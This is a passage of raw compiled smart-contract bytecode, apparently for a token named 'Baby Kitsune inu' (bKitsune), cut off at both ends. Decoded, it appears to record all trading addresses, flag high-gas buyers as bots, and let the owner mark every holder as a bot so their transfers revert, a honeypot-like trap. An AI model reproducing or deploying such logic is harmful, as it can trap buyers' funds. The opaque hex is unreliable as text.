1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008286200089860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405162000889919062000c5f565b60405180910390a35062000c7c565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200094f57808604811115620009275762000926620008c1565b5b6001851615620009375780820291505b80810290506200094785620008f0565b945062000907565b94509492505050565b6000826200096a576001905062000a3d565b816200097a576000905062000a3d565b81600181146200099357600281146200099e57620009d4565b600191505062000a3d565b60ff841115620009b357620009b2620008c1565b5b8360020a915084821115620009cd57620009cc620008c1565b5b5062000a3d565b5060208310610133831016604e8410600b841016171562000a0e5782820a90508381111562000a085762000a07620008c1565b5b62000a3d565b62000a1d8484846001620008fd565b9250905081840481111562000a375762000a36620008c1565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000a688262000a44565b915062000a758362000a4e565b925062000aa47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000958565b905092915050565b600062000ab98262000a44565b915062000ac68362000a44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b025762000b01620008c1565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000b498262000a44565b915062000b568362000a44565b92508262000b695762000b6862000b0d565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ba68262000b79565b9050919050565b62000bb88162000b99565b811462000bc457600080fd5b50565b60008151905062000bd88162000bad565b92915050565b60006020828403121562000bf75762000bf662000b74565b5b600062000c078482850162000bc7565b91505092915050565b62000c1b8162000b99565b82525050565b600060408201905062000c38600083018562000c10565b62000c47602083018462000c10565b9392505050565b62000c598162000a44565b82525050565b600060208201905062000c76600083018462000c4e565b92915050565b61413f8062000c8c6000396000f3fe6080604052600436106102135760003560e01c80636b130f9a11610118578063a0688160116100a0578063b115e4df1161006f578063b115e4df14610766578063bbc0c74214610791578063cebb1622146107bc578063dd62ed3e146107e7578063e55fc9c7146108245761021a565b8063a068816014610698578063a457c2d7146106c1578063a5edb92e146106fe578063a9059cbb146107295761021a565b806378109e54116100e757806378109e54146105c15780637d1db4a5146105ec5780637ed4ce42146106175780638da5cb5b1461064257806395d89b411461066d5761021a565b80636b130f9a1461052d57806370a0823114610544578063715018a61461058157806377c325d6146105985761021a565b806323b872dd1161019b578063395093511161016a5780633950935114610446578063493367081461048357806349bd5a5e1461049a5780634a74bb02146104c55780635c32460b146104f05761021a565b806323b872dd1461039c5780632598cdb2146103d9578063313ce567146104045780633158952e1461042f5761021a565b80630ddcfe8e116101e25780630ddcfe8e146102db5780631694505e1461030457806318160ddd1461032f5780631d97b7cd1461035a578063220f6696146103715761021a565b806306fdde031461021f578063095ea7b31461024a5780630a702e8d146102875780630b78f9c0146102b25761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461084d565b60405161024191906133b8565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190613473565b61088a565b60405161027e91906134ce565b60405180910390f35b34801561029357600080fd5b5061029c6108a8565b6040516102a991906134ce565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d491906134e9565b6108bb565b005b3480156102e757600080fd5b5061030260048036038101906102fd9190613529565b61091c565b005b34801561031057600080fd5b506103196109f3565b60405161032691906135b5565b60405180910390f35b34801561033b57600080fd5b50610344610a19565b60405161035191906135df565b60405180910390f35b34801561036657600080fd5b5061036f610a23565b005b34801561037d57600080fd5b50610386610acc565b60405161039391906134ce565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be91906135fa565b610adf565b6040516103d091906134ce565b60405180910390f35b3480156103e557600080fd5b506103ee610bb8565b6040516103fb919061366e565b60405180910390f35b34801561041057600080fd5b50610419610bde565b60405161042691906136a5565b60405180910390f35b34801561043b57600080fd5b50610444610be7565b005b34801561045257600080fd5b5061046d60048036038101906104689190613473565b610cf2565b60405161047a91906134ce565b60405180910390f35b34801561048f57600080fd5b50610498610da5565b005b3480156104a657600080fd5b506104af610dff565b6040516104bc91906136cf565b60405180910390f35b3480156104d157600080fd5b506104da610e25565b6040516104e791906134ce565b60405180910390f35b3480156104fc57600080fd5b5061051760048036038101906105129190613529565b610e38565b60405161052491906134ce565b60405180910390f35b34801561053957600080fd5b50610542610e8e565b005b34801561055057600080fd5b5061056b60048036038101906105669190613529565b610eef565b60405161057891906135df565b60405180910390f35b34801561058d57600080fd5b50610596610f38565b005b3480156105a457600080fd5b506105bf60048036038101906105ba9190613716565b610ff6565b005b3480156105cd57600080fd5b506105d6611062565b6040516105e391906135df565b60405180910390f35b3480156105f857600080fd5b50610601611068565b60405161060e91906135df565b60405180910390f35b34801561062357600080fd5b5061062c61106e565b60405161063991906135df565b60405180910390f35b34801561064e57600080fd5b50610657611074565b60405161066491906136cf565b60405180910390f35b34801561067957600080fd5b5061068261109d565b60405161068f91906133b8565b60405180910390f35b3480156106a457600080fd5b506106bf60048036038101906106ba9190613743565b6110da565b005b3480156106cd57600080fd5b506106e860048036038101906106e39190613473565b6112aa565b6040516106f591906134ce565b60405180910390f35b34801561070a57600080fd5b50610713611377565b60405161072091906134ce565b60405180910390f35b34801561073557600080fd5b50610750600480360381019061074b9190613473565b61138a565b60405161075d91906134ce565b60405180910390f35b34801561077257600080fd5b5061077b6113a8565b604051610788919061366e565b60405180910390f35b34801561079d57600080fd5b506107a66113ce565b6040516107b391906134ce565b60405180910390f35b3480156107c857600080fd5b506107d16113e1565b6040516107de91906135df565b60405180910390f35b3480156107f357600080fd5b5061080e60048036038101906108099190613783565b6113e7565b60405161081b91906135df565b60405180910390f35b34801561083057600080fd5b5061084b600480360381019061084691906137c3565b61146e565b005b60606040518060400160405280601081526020017f42616279204b697473756e6520696e7500000000000000000000000000000000815250905090565b600061089e6108976114c7565b84846114cf565b6001905092915050565b601060029054906101000a900460ff1681565b6108cb6108c66114c7565b610e38565b61090a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090190613816565b60405180910390fd5b81600281905550806003819055505050565b6109246114c7565b73ffffffffffffffffffffffffffffffffffffffff16610942611074565b73ffffffffffffffffffffffffffffffffffffffff1614610998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098f90613882565b60405180910390fd5b6001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600154905090565b610a33610a2e6114c7565b610e38565b610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6990613816565b60405180910390fd5b6001601060016101000a81548160ff0219169083151502179055506001601060026101000a81548160ff0219169083151502179055506001601060006101000a81548160ff02191690831515021790555042601181905550565b601360149054906101000a900460ff1681565b6000610aec848484611663565b610bad84610af86114c7565b610ba8856040518060600160405280602881526020016140bd60289139600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b5e6114c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c99092919063ffffffff16565b6114cf565b600190509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b610bf7610bf26114c7565b610e38565b610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d90613816565b60405180910390fd5b60005b600f80549050811015610cef576001600d6000600f8481548110610c6057610c5f6138a2565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce790613900565b915050610c39565b50565b6000610d9b610cff6114c7565b84610d9685600a6000610d106114c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461261e90919063ffffffff16565b6114cf565b6001905092915050565b610db5610db06114c7565b610e38565b610df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610deb90613816565b60405180910390fd5b600554600481905550565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e9e610e996114c7565b610e38565b610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490613816565b60405180910390fd5b60006002819055506000600381905550565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110066110016114c7565b610e38565b611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c90613816565b60405180910390fd5b80601060026101000a81548160ff02191690831515021790555050565b60055481565b60045481565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f624b697473756e65000000000000000000000000000000000000000000000000815250905090565b6110ea6110e56114c7565b610e38565b611129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112090613816565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461118357600080fd5b6111b0600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168284612634565b81600160008282546111c29190613949565b9250508190555081600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112189190613949565b925050819055508073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129e91906135df565b60405180910390a35050565b600061136d6112b76114c7565b84611368856040518060600160405280602581526020016140e560259139600a60006112e16114c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c99092919063ffffffff16565b6114cf565b6001905092915050565b601060009054906101000a900460ff1681565b600061139e6113976114c7565b8484611663565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060019054906101000a900460ff1681565b60035481565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147e6114796114c7565b610e38565b6114bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b490613816565b60405180910390fd5b8060058190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115395750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156f906139eb565b60405180910390fd5b80600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165691906135df565b60405180910390a3505050565b61166b611074565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116f45750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561174e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561178657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118595750611829611074565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118af5750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119055750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561196957600061191583610eef565b905060055482826119269190613949565b1115611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90613aa3565b60405180910390fd5b505b611971611074565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119df57506119af611074565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a355750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a8b5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ad657600454811115611ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acc90613b35565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b405750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7690613ba1565b60405180910390fd5b60008111611bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb990613c33565b60405180910390fd5b601060019054906101000a900460ff16611cb757600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c775750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cad90613c9f565b60405180910390fd5b5b426003601154611cc79190613949565b11611ce8576000601060006101000a81548160ff0219169083151502179055505b426004601154611cf89190613949565b11611d19576000601060026101000a81548160ff0219169083151502179055505b601060029054906101000a900460ff16158015611d805750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ddd57600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ddc57600080fd5b5b601060029054906101000a900460ff168015611e075750426005601154611e049190613949565b11155b15611e1557611e14612639565b5b601060009054906101000a900460ff168015611e7f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e90575064012a05f2003a10155b15611eee576001600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b611ef6611074565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f7f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611fd55750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612096576001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600f839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b61209e611074565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121275750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561217d5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561223e576001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600f829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b612246611074565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122cf5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561238057600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561237f576001600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b600a600060149054906101000a900460ff1660ff16101580156123b05750601360149054906101000a900460ff16155b801561240a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124225750601360159054906101000a900460ff165b1561246a57600061243230610eef565b90506004548111156124445760045490505b60008060146101000a81548160ff021916908360ff160217905550612468816126f5565b505b6000600190506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125135750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561252157600091506125b5565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561257c57600190505b6000601481819054906101000a900460ff168092919061259b90613cbf565b91906101000a81548160ff021916908360ff160217905550505b6125c285858585856128ba565b5050505050565b6000838311158290612611576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260891906133b8565b60405180910390fd5b5082840390509392505050565b6000818361262c9190613949565b905092915050565b505050565b60005b600f805490508110156126f2576001600d6000600f8481548110612663576126626138a2565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806126ea90613900565b91505061263c565b50565b6001601360146101000a81548160ff021916908315150217905550600060646037836127219190613ce9565b61272b9190613d72565b905060006064602c8461273e9190613ce9565b6127489190613d72565b9050600060c8846127599190613d72565b9050600047905061277f8385846127709190613949565b61277a9190613949565b612fb1565b6000814761278d9190613da3565b9050600060646037836127a09190613ce9565b6127aa9190613d72565b905060006064602c846127bd9190613ce9565b6127c79190613d72565b90506127e9858284866127da9190613da3565b6127e49190613da3565b6131f4565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858284866128189190613da3565b6128229190613da3565b8760405161283293929190613dd7565b60405180910390a1612866600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836132d4565b479250612895600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846132d4565b505050505050506000601360146101000a81548160ff02191690831515021790555050565b81612a455782600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290a9190613da3565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129989190613949565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a3891906135df565b60405180910390a3612faa565b8015612c8f576000606460025485612a5d9190613ce9565b612a679190613d72565b905060008185612a779190613da3565b905084600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac49190613da3565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b529190613949565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be09190613949565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c8091906135df565b60405180910390a35050612fa9565b6000600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612d13576064600354600960ff1686612cf89190613ce9565b612d029190613ce9565b612d0c9190613d72565b9050612d87565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612d8657606460035485612d799190613ce9565b612d839190613d72565b90505b5b60008185612d959190613da3565b905084600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de29190613da3565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e709190613949565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612efe9190613949565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612f9e91906135df565b60405180910390a350505b5b5050505050565b6000600267ffffffffffffffff811115612fce57612fcd613e0e565b5b604051908082528060200260200182016040528015612ffc5781602001602082028036833780820191505090505b5090503081600081518110613014576130136138a2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156130bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130df9190613e52565b816001815181106130f3576130f26138a2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061315a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114cf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016131be959493929190613f78565b600060405180830381600087803b1580156131d857600080fd5b505af11580156131ec573d6000803e3d6000fd5b505050505050565b61322130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114cf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161328a96959493929190613ff3565b60606040518083038185885af11580156132a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132cd9190614069565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561331a573d6000803e3d6000fd5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561335957808201518184015260208101905061333e565b83811115613368576000848401525b50505050565b6000601f19601f8301169050919050565b600061338a8261331f565b613394818561332a565b93506133a481856020860161333b565b6133ad8161336e565b840191505092915050565b600060208201905081810360008301526133d2818461337f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061340a826133df565b9050919050565b61341a816133ff565b811461342557600080fd5b50565b60008135905061343781613411565b92915050565b6000819050919050565b6134508161343d565b811461345b57600080fd5b50565b60008135905061346d81613447565b92915050565b6000806040838503121561348a576134896133da565b5b600061349885828601613428565b92505060206134a98582860161345e565b9150509250929050565b60008115159050919050565b6134c8816134b3565b82525050565b60006020820190506134e360008301846134bf565b92915050565b60008060408385031215613500576134ff6133da565b5b600061350e8582860161345e565b925050602061351f8582860161345e565b9150509250929050565b60006020828403121561353f5761353e6133da565b5b600061354d84828501613428565b91505092915050565b6000819050919050565b600061357b613576613571846133df565b613556565b6133df565b9050919050565b600061358d82613560565b9050919050565b600061359f82613582565b9050919050565b6135af81613594565b82525050565b60006020820190506135ca60008301846135a6565b92915050565b6135d98161343d565b82525050565b60006020820190506135f460008301846135d0565b92915050565b600080600060608486031215613613576136126133da565b5b600061362186828701613428565b935050602061363286828701613428565b92505060406136438682870161345e565b9150509250925092565b6000613658826133df565b9050919050565b6136688161364d565b82525050565b6000602082019050613683600083018461365f565b92915050565b600060ff82169050919050565b61369f81613689565b82525050565b60006020820190506136ba6000830184613696565b92915050565b6136c9816133ff565b82525050565b60006020820190506136e460008301846136c0565b92915050565b6136f3816134b3565b81146136fe57600080fd5b50565b600081359050613710816136ea565b92915050565b60006020828403121561372c5761372b6133da565b5b600061373a84828501613701565b91505092915050565b6000806040838503121561375a576137596133da565b5b60006137688582860161345e565b925050602061377985828601613428565b9150509250929050565b6000806040838503121561379a576137996133da565b5b60006137a885828601613428565b92505060206137b985828601613428565b9150509250929050565b6000602082840312156137d9576137d86133da565b5b60006137e78482850161345e565b91505092915050565b50565b600061380060008361332a565b915061380b826137f0565b600082019050919050565b6000602082019050818103600083015261382f816137f3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061386c60208361332a565b915061387782613836565b602082019050919050565b6000602082019050818103600083015261389b8161385f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390b8261343d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561393e5761393d6138d1565b5b600182019050919050565b60006139548261343d565b915061395f8361343d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613994576139936138d1565b5b828201905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b60006139d560118361332a565b91506139e08261399f565b602082019050919050565b60006020820190508181036000830152613a04816139c8565b9050919050565b7f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460008201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d6960208201527f7420666f72206f6e652077616c6c65742e000000000000000000000000000000604082015250565b6000613a8d60518361332a565b9150613a9882613a0b565b606082019050919050565b60006020820190508181036000830152613abc81613a80565b9050919050565b7f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060008201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000602082015250565b6000613b1f603a8361332a565b9150613b2a82613ac3565b604082019050919050565b60006020820190508181036000830152613b4e81613b12565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b6000613b8b60158361332a565b91